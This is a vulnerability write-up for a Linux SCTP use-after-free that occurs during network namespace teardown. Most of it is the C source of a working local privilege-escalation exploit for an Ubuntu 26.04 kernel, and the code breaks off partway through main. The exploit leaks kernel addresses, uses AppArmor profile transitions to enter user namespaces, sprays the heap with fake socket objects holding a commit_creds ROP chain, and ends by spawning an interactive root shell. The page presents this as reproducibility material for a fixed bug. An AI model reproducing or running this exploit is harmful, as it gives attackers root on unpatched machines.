Summary
During network namespace shutdown, Linux destroyed SCTP’s internal control socket before removing the settings table that still referred to it. A settings write racing that shutdown could therefore lock and modify a socket that had already been freed.
The lifetime mismatch was introduced in January 2025 and fixed upstream in July 2026. The public demonstration targeted Ubuntu 26.04 with Linux 7.0.0-28.
Why it mattered
A local attacker who could create and tear down network namespaces could repeatedly race an SCTP authentication setting against cleanup. Winning the race yielded access to reused kernel memory and a path to local privilege escalation.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
proc_sctp_do_auth() copied net->sctp.ctl_sock without lifetime protection. Teardown released that socket first, did not clear the stored pointer, and only later unregistered the sysctl handler that could still dereference it.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(void){ struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 }; pthread_t fuse_thread; pthread_t stalled_threads[CHILDREN]; pthread_attr_t stalled_attr; struct writer_argument writer_arguments[CHILDREN]; int target_fds[WRITER_COUNT]; int target_count = 0; int preload; int groom_fds[GROOM_SOCKETS]; int post_fds[POST_SOCKETS]; pthread_t recycler_threads[2]; int recycler_cpus[2] = { 0, 1 }; int seeder_ready[2];
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/filter.h>
#include <linux/fuse.h>
#include <linux/if_packet.h>
#include <linux/futex.h>
#include <limits.h>
#include <net/ethernet.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include "leak.h"
#define KERNEL_BASE UINT64_C(0xffffffff81000000)
#define UBUNTU_IMAGE_EDGE_BIAS UINT64_C(0x200000)
#define UBUNTU_PHYSMAP_EDGE_BIAS UINT64_C(0x80000000)
#define CPU1_CEA_PHYS_OFFSET UINT64_C(0x9fd17f58)
#define CPU1_PREEMPT_PHYS_OFFSET UINT64_C(0x9fd18030)
/* Reused only as target-specific post-primitive machinery. These offsets
* are independently frozen for stock Ubuntu 7.0.0-28-generic. */
#define OFF_STACK_PIVOT UINT64_C(0xdd80e7)
#define OFF_POP_RDI UINT64_C(0xcf53ec)
#define OFF_COMMIT_CREDS UINT64_C(0x48a520)
#define OFF_INIT_CRED UINT64_C(0x2a15b80)
#define OFF_ZERO_DWORD_POP_RBP UINT64_C(0x828006)
#define OFF_KPTI_RETURN UINT64_C(0x1194)
#define CHILDREN 400
#define TARGET_STRIDE 20
#define FDS_PER_TARGET 1
#define WRITER_COUNT CHILDREN
#define CHILD_STACK (64 * 1024)
#define RING_BLOCK (32 * 1024)
#define RING_BLOCKS_PER_FD 8
#define RING_COUNT 1024
#define UNIX_FRAG_LINEAR 3616
#define UNIX_FRAG_COUNT 1024
#define GROOM_SOCKETS 240
#define POST_SOCKETS 20
#define RECYCLE_SOCKETS 400
#define RECYCLE_PASSES 1
#define GUARD_SOCKETS_PER_CPU 400
#define CEA_SEEDER_COUNT 64
#define RCU_WAIT_SECONDS 15
#define NETNS_FD_BASE 5000
#define SCTPV6_SLOT 1600
#define SCTPV6_OBJECT 1568
#define SOCK_PROT_OFF 0x28
#define SCTP_EP_OFF 0x430
#define PROTO_RELEASE_CB_OFF 0xa0
#define ENDPOINT_AUTH_OFF 0x102
enum {
CMD_WAIT = 0,
CMD_OPEN = 1,
CMD_EXIT = 2,
};
struct child_control {
atomic_int command;
atomic_int opened;
pid_t pid;
int index;
};
struct fd_message {
int index;
};
struct spray_sync {
atomic_int go;
atomic_int ready;
atomic_int progress;
};
struct fault_sync {
atomic_int seen;
int fuse_fd;
void *fault_pages;
atomic_uint_fast64_t unique[CHILDREN];
atomic_int pending[CHILDREN];
atomic_int done[CHILDREN];
atomic_long result[CHILDREN];
int order[CHILDREN];
};
struct writer_argument {
int fd;
int index;
};
static struct child_control *controls;
static int rights_sock[2];
static void *child_stacks;
static atomic_int writers_stop;
static atomic_int stalled_ready;
static atomic_int writer_launch;
static atomic_int writers_entered;
static atomic_int root_claimed;
static struct spray_sync *spray_sync;
static struct fault_sync fault_sync;
static pid_t packet_spray_pid = -1;
static pid_t cea_seeder_pids[CEA_SEEDER_COUNT];
static int guard_fds[2][GUARD_SOCKETS_PER_CPU];
static uint64_t kernel_slide;
static uint64_t physmap_base;
static uint64_t cea;
static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_rflags;
static uint64_t user_rsp;
static void *user_stack;
static uint64_t rop_pivot;
struct cea_regs15_payload {
uint64_t q[15];
};
static struct cea_regs15_payload cea_payload __attribute__((used));
static void die(const char *fmt, ...)
{
va_list args;
va_start(args, fmt);
vfprintf(stderr, fmt, args);
va_end(args);
fputc('\n', stderr);
exit(EXIT_FAILURE);
}
static void pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) < 0)
die("sched_setaffinity(%d): %s", cpu, strerror(errno));
}
static int futex_wait_int(atomic_int *word, int value)
{
return syscall(SYS_futex, (int *)word, FUTEX_WAIT, value, NULL, NULL, 0);
}
static void futex_wake_all(atomic_int *word)
{
(void)syscall(SYS_futex, (int *)word, FUTEX_WAKE, INT32_MAX, NULL, NULL, 0);
}
static void wait_until_not(atomic_int *word, int value)
{
while (atomic_load_explicit(word, memory_order_acquire) == value) {
if (futex_wait_int(word, value) < 0 && errno != EAGAIN && errno != EINTR)
die("futex wait: %s", strerror(errno));
}
}
static void write_all(int fd, const void *buffer, size_t length)
{
const unsigned char *cursor = buffer;
while (length) {
ssize_t done = write(fd, cursor, length);
if (done < 0) {
if (errno == EINTR)
continue;
die("write: %s", strerror(errno));
}
cursor += done;
length -= (size_t)done;
}
}
static void write_text(const char *path, const char *text)
{
int fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die("open %s: %s", path, strerror(errno));
write_all(fd, text, strlen(text));
close(fd);
}
static void change_profile(const char *name)
{
char request[256];
int fd;
int length;
length = snprintf(request, sizeof(request), "changeprofile %s", name);
if (length < 0 || (size_t)length >= sizeof(request))
die("format AppArmor request");
fd = open("/proc/self/attr/current", O_WRONLY | O_CLOEXEC);
if (fd < 0)
die("open AppArmor current: %s", strerror(errno));
write_all(fd, request, (size_t)length);
close(fd);
}
static void enter_private_user_net_namespace(void)
{
char map[64];
uid_t uid = getuid();
gid_t gid = getgid();
if (geteuid() == 0)
die("run directly as uid/gid 65534, not root");
change_profile("/usr/lib/snapd/snap-confine");
change_profile("plasmashell");
if (unshare(CLONE_NEWUSER) < 0)
die("unshare user: %s", strerror(errno));
write_text("/proc/self/setgroups", "deny\n");
snprintf(map, sizeof(map), "0 %u 1\n", uid);
write_text("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1\n", gid);
write_text("/proc/self/gid_map", map);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("become namespace root: %s", strerror(errno));
if (unshare(CLONE_NEWNET) < 0)
die("unshare net: %s", strerror(errno));
printf("[+] stock profile transition and private namespace uid=%u gid=%u\n",
(unsigned)getuid(), (unsigned)getgid());
}
static int send_one_fd(int socket_fd, int fd, int index)
{
char control[CMSG_SPACE(sizeof(int))] = { 0 };
struct fd_message data = { .index = index };
struct iovec iov = { .iov_base = &data, .iov_len = sizeof(data) };
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&message);
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
return sendmsg(socket_fd, &message, 0);
}
static int receive_one_fd(int socket_fd, int *index)
{
char control[CMSG_SPACE(sizeof(int))] = { 0 };
struct fd_message data;
struct iovec iov = { .iov_base = &data, .iov_len = sizeof(data) };
struct msghdr message = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
struct cmsghdr *cmsg;
int fd;
if (recvmsg(socket_fd, &message, 0) != (ssize_t)sizeof(data))
die("recvmsg rights: %s", strerror(errno));
cmsg = CMSG_FIRSTHDR(&message);
if (!cmsg || cmsg->cmsg_level != SOL_SOCKET || cmsg->cmsg_type != SCM_RIGHTS)
die("bad rights message");
memcpy(&fd, CMSG_DATA(cmsg), sizeof(fd));
*index = data.index;
return fd;
}
static int namespace_child(void *argument)
{
struct child_control *control = argument;
pin_cpu(0);
wait_until_not(&control->command, CMD_WAIT);
if (atomic_load(&control->command) == CMD_EXIT)
_exit(0);
for (int i = 0; i < FDS_PER_TARGET; i++) {
int fd = open("/proc/sys/net/sctp/auth_enable", O_RDWR | O_CLOEXEC);
if (fd < 0) {
perror("child open auth_enable");
_exit(10);
}
if (send_one_fd(rights_sock[1], fd, control->index) < 0)
_exit(11);
close(fd);
}
atomic_store_explicit(&control->opened, 1, memory_order_release);
futex_wake_all(&control->opened);
while (atomic_load_explicit(&control->command, memory_order_acquire) != CMD_EXIT) {
int old = atomic_load(&control->command);
(void)futex_wait_int(&control->command, old);
}
_exit(0);
}
static void create_namespace_farm(void)
{
for (int i = 0; i < CHILDREN; i++) {
void *top = (unsigned char *)child_stacks + (size_t)(i + 1) * CHILD_STACK;
pid_t pid;
controls[i].index = i;
atomic_init(&controls[i].command, CMD_WAIT);
atomic_init(&controls[i].opened, 0);
pid = clone(namespace_child, top, CLONE_NEWNET | SIGCHLD, &controls[i]);
if (pid < 0)
die("clone child %d: %s", i, strerror(errno));
controls[i].pid = pid;
}
printf("[+] created %d stock child network namespaces\n", CHILDREN);
}
static void command_child(int index, int command)
{
atomic_store_explicit(&controls[index].command, command, memory_order_release);
futex_wake_all(&controls[index].command);
}
static void prepare_user_return(void)
{
user_stack = mmap((void *)UINT64_C(0x1fff0000), 0x20000,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED_NOREPLACE,
-1, 0);
if (user_stack == MAP_FAILED)
die("mmap return stack: %s", strerror(errno));
/* The callback runs with a non-zero kernel preempt count. Populate every
* return-stack PTE now so the first user-mode push cannot require a
* sleeping anonymous-page allocation after the iret. */
memset(user_stack, 0, 0x20000);
user_rsp = UINT64_C(0x20000008);
asm volatile("mov %%cs, %0\n\t"
"mov %%ss, %1\n\t"
"pushfq\n\t"
"pop %2"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
: : "memory");
}
static inline long raw_syscall1(long number, long argument)
{
long result;
asm volatile("syscall" : "=a"(result)
: "a"(number), "D"(argument)
: "rcx", "r11", "memory");
return result;
}
static inline long raw_syscall2(long number, long argument1, long argument2)
{
long result;
asm volatile("syscall" : "=a"(result)
: "a"(number), "D"(argument1), "S"(argument2)
: "rcx", "r11", "memory");
return result;
}
static inline long raw_syscall3(long number, long argument1, long argument2,
long argument3)
{
long result;
asm volatile("syscall" : "=a"(result)
: "a"(number), "D"(argument1), "S"(argument2),
"d"(argument3)
: "rcx", "r11", "memory");
return result;
}
__attribute__((noreturn)) static void post_root(void)
{
static char bash_path[] = "/bin/bash";
static char bash_arg0[] = "bash";
static char bash_arg1[] = "-i";
static char *const bash_argv[] = { bash_arg0, bash_arg1, NULL };
static char *const bash_envp[] = { NULL };
static char fuse_mount[] = "/tmp/_neb-fuse";
static const char success[] =
"\n[SUCCESS] stock Ubuntu root; starting /bin/bash -i\n";
static const char failure[] = "execve /bin/bash failed\n";
int expected = 0;
/* The CEA process and packet spray were forked after this thread existed,
* so ordinary data/TLS pages are COW-protected. The forged callback
* chain has already restored preempt_count before returning here. Claim
* exactly one winning writer; execve from that thread then destroys every
* other thread in this process while preserving the original terminal. */
if (!atomic_compare_exchange_strong_explicit(&root_claimed, &expected, 1,
memory_order_acq_rel, memory_order_acquire)) {
(void)raw_syscall1(SYS_exit, 0);
__builtin_unreachable();
}
/* All other writers are still blocked on distinct FUSE pages. Tear down
* the task-owned spray/CEA helpers and the FUSE connection before execve,
* so no second stale callback can race the interactive root shell. */
if (packet_spray_pid > 0)
(void)raw_syscall2(SYS_kill, packet_spray_pid, SIGKILL);
for (int i = 0; i < CEA_SEEDER_COUNT; i++)
if (cea_seeder_pids[i] > 0)
(void)raw_syscall2(SYS_kill, cea_seeder_pids[i], SIGKILL);
(void)raw_syscall2(SYS_umount2, (long)(uintptr_t)fuse_mount, MNT_DETACH);
(void)raw_syscall1(SYS_close, fault_sync.fuse_fd);
(void)raw_syscall3(SYS_write, STDOUT_FILENO,
(long)(uintptr_t)success, sizeof(success) - 1);
(void)raw_syscall3(SYS_execve, (long)(uintptr_t)bash_path,
(long)(uintptr_t)bash_argv,
(long)(uintptr_t)bash_envp);
(void)raw_syscall3(SYS_write, STDERR_FILENO,
(long)(uintptr_t)failure, sizeof(failure) - 1);
(void)raw_syscall1(SYS_exit_group, 1);
__builtin_unreachable();
}
static void fill_fuse_attr(struct fuse_attr *attr, uint64_t inode, uint32_t mode)
{
memset(attr, 0, sizeof(*attr));
attr->ino = inode;
attr->size = inode == FUSE_ROOT_ID ? 0 : (uint64_t)CHILDREN * 4096;
attr->blocks = inode == FUSE_ROOT_ID ? 0 : (uint64_t)CHILDREN * 8;
attr->mode = mode;
attr->nlink = inode == FUSE_ROOT_ID ? 2 : 1;
attr->uid = 0;
attr->gid = 0;
attr->blksize = 4096;
}
static void fuse_reply(uint64_t unique, const void *body, size_t body_size)
{
unsigned char reply[sizeof(struct fuse_out_header) + 4096];
struct fuse_out_header *header = (struct fuse_out_header *)reply;
if (body_size > sizeof(reply) - sizeof(*header))
die("oversize FUSE reply");
header->len = (uint32_t)(sizeof(*header) + body_size);
header->error = 0;
header->unique = unique;
if (body_size)
memcpy(reply + sizeof(*header), body, body_size);
write_all(fault_sync.fuse_fd, reply, header->len);
}
static void fuse_reply_error(uint64_t unique, int error)
{
struct fuse_out_header header = {
.len = sizeof(header),
.error = -error,
.unique = unique,
};
write_all(fault_sync.fuse_fd, &header, sizeof(header));
}
static void *fuse_server_thread(void *unused)
{
unsigned char request[16384];
(void)unused;
pin_cpu(0);
for (;;) {
ssize_t got = read(fault_sync.fuse_fd, request, sizeof(request));
struct fuse_in_header *input = (struct fuse_in_header *)request;
if (got < 0 && (errno == EINTR || errno == EAGAIN || errno == EPERM)) {
/* Before mount(2) attaches the freshly opened /dev/fuse fd,
* fuse_dev_read() reports EPERM instead of blocking. */
if (errno == EPERM)
usleep(1000);
continue;
}
if (got < (ssize_t)sizeof(*input))
die("read FUSE request got=%zd errno=%d (%s)", got, errno,
strerror(errno));
if (input->opcode != FUSE_READ)
dprintf(STDOUT_FILENO,
"[.] FUSE opcode=%u node=%llu len=%zd\n",
input->opcode,
(unsigned long long)input->nodeid, got);
switch (input->opcode) {
case FUSE_INIT: {
struct fuse_init_in *init_in = (void *)(input + 1);
struct fuse_init_out output;
memset(&output, 0, sizeof(output));
output.major = FUSE_KERNEL_VERSION;
output.minor = init_in->minor < FUSE_KERNEL_MINOR_VERSION ?
init_in->minor : FUSE_KERNEL_MINOR_VERSION;
output.max_readahead = init_in->max_readahead;
output.max_background = CHILDREN + 32;
output.congestion_threshold = CHILDREN + 16;
output.max_write = 4096;
output.time_gran = 1;
output.max_pages = 1;
fuse_reply(input->unique, &output, sizeof(output));
break;
}
case FUSE_LOOKUP: {
struct fuse_entry_out output;
memset(&output, 0, sizeof(output));
output.nodeid = 2;
output.generation = 1;
output.entry_valid = 60;
output.attr_valid = 60;
fill_fuse_attr(&output.attr, 2, S_IFREG | 0444);
fuse_reply(input->unique, &output, sizeof(output));
break;
}
case FUSE_GETATTR: {
struct fuse_attr_out output;
memset(&output, 0, sizeof(output));
output.attr_valid = 60;
fill_fuse_attr(&output.attr, input->nodeid,
input->nodeid == FUSE_ROOT_ID ?
S_IFDIR | 0555 : S_IFREG | 0444);
fuse_reply(input->unique, &output, sizeof(output));
break;
}
case FUSE_OPEN: {
struct fuse_open_out output = {
.fh = 1,
.open_flags = FOPEN_KEEP_CACHE,
};
fuse_reply(input->unique, &output, sizeof(output));
break;
}
case FUSE_READ: {
struct fuse_read_in *read_input = (void *)(input + 1);
uint64_t page = read_input->offset / 4096;
int order;
if (page >= CHILDREN || read_input->offset % 4096)
die("unexpected FUSE read offset %#llx",
(unsigned long long)read_input->offset);
atomic_store_explicit(&fault_sync.unique[page], input->unique,
memory_order_relaxed);
atomic_store_explicit(&fault_sync.pending[page], 1,
memory_order_relaxed);
order = atomic_load_explicit(&fault_sync.seen,
memory_order_relaxed);
if (order >= CHILDREN)
die("too many FUSE read requests");
fault_sync.order[order] = (int)page;
atomic_store_explicit(&fault_sync.seen, order + 1,
memory_order_release);
futex_wake_all(&fault_sync.seen);
break;
}
case FUSE_STATFS: {
struct fuse_statfs_out output;
memset(&output, 0, sizeof(output));
output.st.bsize = 4096;
output.st.frsize = 4096;
output.st.namelen = 255;
fuse_reply(input->unique, &output, sizeof(output));
break;
}
case FUSE_FORGET:
break;
case FUSE_RELEASE:
case FUSE_FLUSH:
fuse_reply(input->unique, NULL, 0);
break;
default:
fuse_reply_error(input->unique, ENOSYS);
break;
}
}
return NULL;
}
static void prepare_fault_stall(pthread_t *server_thread)
{
char mount_options[160];
int file_fd;
atomic_init(&fault_sync.seen, 0);
for (int i = 0; i < CHILDREN; i++) {
atomic_init(&fault_sync.unique[i], 0);
atomic_init(&fault_sync.pending[i], 0);
atomic_init(&fault_sync.done[i], 0);
atomic_init(&fault_sync.result[i], LONG_MIN);
}
if (unshare(CLONE_NEWNS) < 0)
die("unshare mount namespace: %s", strerror(errno));
if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL) < 0)
die("make mounts private: %s", strerror(errno));
(void)mkdir("/tmp/_neb-fuse", 0700);
fault_sync.fuse_fd = open("/dev/fuse", O_RDWR | O_CLOEXEC);
if (fault_sync.fuse_fd < 0)
die("open /dev/fuse: %s", strerror(errno));
if (pthread_create(server_thread, NULL, fuse_server_thread, NULL))
die("pthread_create FUSE server");
snprintf(mount_options, sizeof(mount_options),
"fd=%d,rootmode=40000,user_id=0,group_id=0,max_read=4096",
fault_sync.fuse_fd);
if (mount("_nebusec__", "/tmp/_neb-fuse", "fuse",
MS_NOSUID | MS_NODEV, mount_options) < 0)
die("mount FUSE stall: %s", strerror(errno));
file_fd = open("/tmp/_neb-fuse/_nebu", O_RDONLY | O_CLOEXEC);
if (file_fd < 0)
die("open FUSE stall file: %s", strerror(errno));
fault_sync.fault_pages = mmap(NULL, (size_t)CHILDREN * 4096, PROT_READ,
MAP_PRIVATE, file_fd, 0);
close(file_fd);
if (fault_sync.fault_pages == MAP_FAILED)
die("mmap FUSE stall file: %s", strerror(errno));
}
static void *stalled_writer_thread(void *argument)
{
struct writer_argument *writer = argument;
char name[16];
int fd = writer->fd;
ssize_t result;
pin_cpu(1);
snprintf(name, sizeof(name), "f8-w%03d", writer->index);
(void)prctl(PR_SET_NAME, name, 0, 0, 0);
asm volatile("mov %0, %%r15" : : "r"(rop_pivot) : "r15", "memory");
if (lseek(fd, 0, SEEK_SET) < 0)
die("stalled writer lseek: %s", strerror(errno));
atomic_fetch_add_explicit(&stalled_ready, 1, memory_order_release);
futex_wake_all(&stalled_ready);
wait_until_not(&writer_launch, 0);
atomic_fetch_add_explicit(&writers_entered, 1, memory_order_release);
futex_wake_all(&writers_entered);
result = write(fd, (unsigned char *)fault_sync.fault_pages +
(size_t)writer->index * 4096, 2);
atomic_store_explicit(&fault_sync.result[writer->index], result,
memory_order_release);
atomic_store_explicit(&fault_sync.done[writer->index], 1,
memory_order_release);
futex_wake_all(&fault_sync.done[writer->index]);
return NULL;
}
__attribute__((naked, noreturn))
static void spin_cea_payload(void)
{
asm volatile(
"1: lea cea_payload(%rip), %rax\n\t"
"mov 0x00(%rax), %r15\n\t"
"mov 0x08(%rax), %r14\n\t"
"mov 0x10(%rax), %r13\n\t"
"mov 0x18(%rax), %r12\n\t"
"mov 0x20(%rax), %rbp\n\t"
"mov 0x28(%rax), %rbx\n\t"
"mov 0x30(%rax), %r11\n\t"
"mov 0x38(%rax), %r10\n\t"
"mov 0x40(%rax), %r9\n\t"
"mov 0x48(%rax), %r8\n\t"
"mov 0x58(%rax), %rcx\n\t"
"mov 0x60(%rax), %rdx\n\t"
"mov 0x68(%rax), %rsi\n\t"
"mov 0x70(%rax), %rdi\n\t"
"mov 0x50(%rax), %rax\n\t"
/* Keep the task stackless after readiness notification. User RSP may
* legally hold a kernel-canonical value while this loop touches no
* stack; the next local timer entry then stores the pivot in the CEA
* pt_regs->sp slot used by the forged release_cb. */
"mov %r15, %rsp\n\t"
/* A timer interrupt preserves all GPRs in CPU1's entry-stack
* pt_regs. SYSCALL cannot be used because it clobbers rcx/r11. */
"2: pause\n\t"
"jmp 2b\n\t");
}
__attribute__((noreturn))
static void run_cea_seeder(int ready_fd)
{
char ready = 'S';
close(fault_sync.fuse_fd);
pin_cpu(1);
if (write(ready_fd, &ready, 1) != 1)
_exit(12);
spin_cea_payload();
}
static void fill_fake_sctpv6(void *mapping)
{
uint64_t pop_rdi = KERNEL_BASE + kernel_slide + OFF_POP_RDI;
uint64_t init_cred = KERNEL_BASE + kernel_slide + OFF_INIT_CRED;
uint64_t commit_creds = KERNEL_BASE + kernel_slide + OFF_COMMIT_CREDS;
uint64_t zero_dword_pop_rbp = KERNEL_BASE + kernel_slide +
OFF_ZERO_DWORD_POP_RBP;
uint64_t kpti_return = KERNEL_BASE + kernel_slide + OFF_KPTI_RETURN;
uint64_t cpu1_preempt = physmap_base + CPU1_PREEMPT_PHYS_OFFSET;
/* The leaked CPU1 CEA alias names pt_regs->sp. The stackless seeder puts
* the pivot in that exact interrupt-frame slot. */
uint64_t cfh_slot = cea;
uint64_t fake_proto = cfh_slot - PROTO_RELEASE_CB_OFF;
uint64_t harmless_ep = cfh_slot + 0x78 - ENDPOINT_AUTH_OFF;
memset(mapping, 0, RING_BLOCK);
for (size_t offset = 0; offset + SCTPV6_OBJECT <= RING_BLOCK;
offset += SCTPV6_SLOT) {
unsigned char *object = (unsigned char *)mapping + offset;
uint64_t *chain = (uint64_t *)object;
/* The unaligned pivot is push rdi; pop rsp followed by add rsp,0x10,
* six pops and a return thunk. Its first controlled return slot is
* therefore object+0x40. */
chain[8] = pop_rdi;
chain[9] = init_cred;
chain[10] = commit_creds;
/* release_sock reaches the callback with preempt_count 0x202. Clear
* exactly that 32-bit per-CPU field without calling the scheduler while
* RSP is backed by the packet-ring page. The target gadget consumes one
* dummy RBP, clears no adjacent per-CPU state, and returns normally. */
chain[11] = pop_rdi;
chain[12] = cpu1_preempt;
chain[13] = zero_dword_pop_rbp;
chain[14] = 0;
chain[15] = kpti_return;
/* swapgs_restore_regs...+0x24 pops 15 registers and skips
* orig_ax before consuming this iret frame. */
chain[32] = (uint64_t)(uintptr_t)post_root;
chain[33] = user_cs;
chain[34] = user_rflags;
chain[35] = user_rsp;
chain[36] = user_ss;
memcpy(object + SOCK_PROT_OFF, &fake_proto, sizeof(fake_proto));
memcpy(object + SCTP_EP_OFF, &harmless_ep, sizeof(harmless_ep));
}
}
static int allocate_packet_ring(void **mapping)
{
struct tpacket_req request = {
.tp_block_size = RING_BLOCK,
.tp_block_nr = RING_BLOCKS_PER_FD,
.tp_frame_size = 2048,
.tp_frame_nr = RING_BLOCKS_PER_FD * RING_BLOCK / 2048,
};
int version = TPACKET_V1;
int fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
if (fd < 0)
return -1;
if (setsockopt(fd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0 ||
setsockopt(fd, SOL_PACKET, PACKET_RX_RING, &request, sizeof(request)) < 0) {
close(fd);
return -1;
}
*mapping = mmap(NULL, RING_BLOCKS_PER_FD * RING_BLOCK,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (*mapping == MAP_FAILED) {
close(fd);
return -1;
}
for (int i = 0; i < RING_BLOCKS_PER_FD; i++)
fill_fake_sctpv6((unsigned char *)*mapping + i * RING_BLOCK);
return fd;
}
__attribute__((noreturn))
static void packet_spray_process(uint64_t pivot)
{
int fds[RING_COUNT];
void *maps[RING_COUNT];
int unix_fds[UNIX_FRAG_COUNT ? UNIX_FRAG_COUNT : 1][2]
__attribute__((unused));
unsigned char *frag_buffer;
struct iovec frag_iov;
struct msghdr frag_message;
size_t frag_length = UNIX_FRAG_LINEAR + RING_BLOCK;
int unix_made = 0;
int made;
(void)pivot;
close(fault_sync.fuse_fd);
pin_cpu(0);
atomic_store_explicit(&spray_sync->ready, 1, memory_order_release);
futex_wake_all(&spray_sync->ready);
wait_until_not(&spray_sync->go, 0);
/* A 3,616-byte skb linear area leaves one exact 32-KiB page fragment.
* AF_UNIX consumes freshly returned order-3 pages directly from CPU0's
* page-fragment cache before the broader packet-ring sweep. */
frag_buffer = mmap(NULL, frag_length, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (frag_buffer == MAP_FAILED)
die("mmap AF_UNIX fragment payload: %s", strerror(errno));
memset(frag_buffer, 0, UNIX_FRAG_LINEAR);
fill_fake_sctpv6(frag_buffer + UNIX_FRAG_LINEAR);
frag_iov.iov_base = frag_buffer;
frag_iov.iov_len = frag_length;
memset(&frag_message, 0, sizeof(frag_message));
frag_message.msg_iov = &frag_iov;
frag_message.msg_iovlen = 1;
#if UNIX_FRAG_COUNT
for (int i = 0; i < UNIX_FRAG_COUNT; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_CLOEXEC, 0,
unix_fds[i]) < 0)
continue;
if (sendmsg(unix_fds[i][0], &frag_message, MSG_NOSIGNAL) !=
(ssize_t)frag_length) {
close(unix_fds[i][0]);
close(unix_fds[i][1]);
continue;
}
unix_made++;
}
#endif
dprintf(STDOUT_FILENO,
"[+] AF_UNIX retained %d exact order-3 fragments\n", unix_made);
made = 0;
for (int i = 0; i < RING_COUNT; i++) {
fds[i] = allocate_packet_ring(&maps[i]);
if (fds[i] >= 0)
made += RING_BLOCKS_PER_FD;
atomic_store_explicit(&spray_sync->progress, i + 1,
memory_order_release);
}
dprintf(STDOUT_FILENO,
"[+] packet spray retained %d order-3 blocks\n", made);
for (;;)
asm volatile("pause" : : : "memory");
}
static void *recycle_sctpv6_cpu(void *argument)
{
int cpu = *(int *)argument;
int fds[RECYCLE_SOCKETS];
pin_cpu(cpu);
for (int i = 0; i < RECYCLE_SOCKETS; i++) {
fds[i] = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 132);
if (fds[i] < 0)
die("SCTPv6 CPU%d recycle socket %d: %s",
cpu, i, strerror(errno));
}
for (int i = 0; i < RECYCLE_SOCKETS; i++)
close(fds[i]);
return NULL;
}
static void *retain_sctpv6_guards_cpu(void *argument)
{
int cpu = *(int *)argument;
pin_cpu(cpu);
for (int i = 0; i < GUARD_SOCKETS_PER_CPU; i++) {
guard_fds[cpu][i] = socket(AF_INET6,
SOCK_STREAM | SOCK_CLOEXEC, 132);
if (guard_fds[cpu][i] < 0)
die("SCTPv6 CPU%d guard socket %d: %s",
cpu, i, strerror(errno));
}
return NULL;
}
int main(void)
{
struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 };
pthread_t fuse_thread;
pthread_t stalled_threads[CHILDREN];
pthread_attr_t stalled_attr;
struct writer_argument writer_arguments[CHILDREN];
int target_fds[WRITER_COUNT];
int target_count = 0;
int preload;
int groom_fds[GROOM_SOCKETS];
int post_fds[POST_SOCKETS];
pthread_t recycler_threads[2];
int recycler_cpus[2] = { 0, 1 };
int seeder_ready[2];
uint64_t pivot;
char seeder_byte;
setvbuf(stdout, NULL, _IONBF, 0);
atomic_init(&root_claimed, 0);
if (setrlimit(RLIMIT_NOFILE, &nofile) < 0)
die("setrlimit: %s", strerror(errno));
kernel_slide = leak_image_slide_checked() + UBUNTU_IMAGE_EDGE_BIAS;
/* On this stock Ubuntu image the broad three-slot PREFETCH edge is two
* 1-GiB slots above page_offset_base. This fixed correction was checked
* across fresh boots; the exploit itself still uses only the unprivileged
* timing primitive. */
physmap_base = leak_phys_map_base_stable(0) - UBUNTU_PHYSMAP_EDGE_BIAS;
cea = physmap_base + CPU1_CEA_PHYS_OFFSET;
printf("[+] slide=%#llx physmap=%#llx CPU1-CEA=%#llx\n",
(unsigned long long)kernel_slide,
(unsigned long long)physmap_base,
(unsigned long long)cea);
prepare_user_return();
enter_private_user_net_namespace();
pin_cpu(0);
controls = mmap(NULL, sizeof(*controls) * CHILDREN,
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
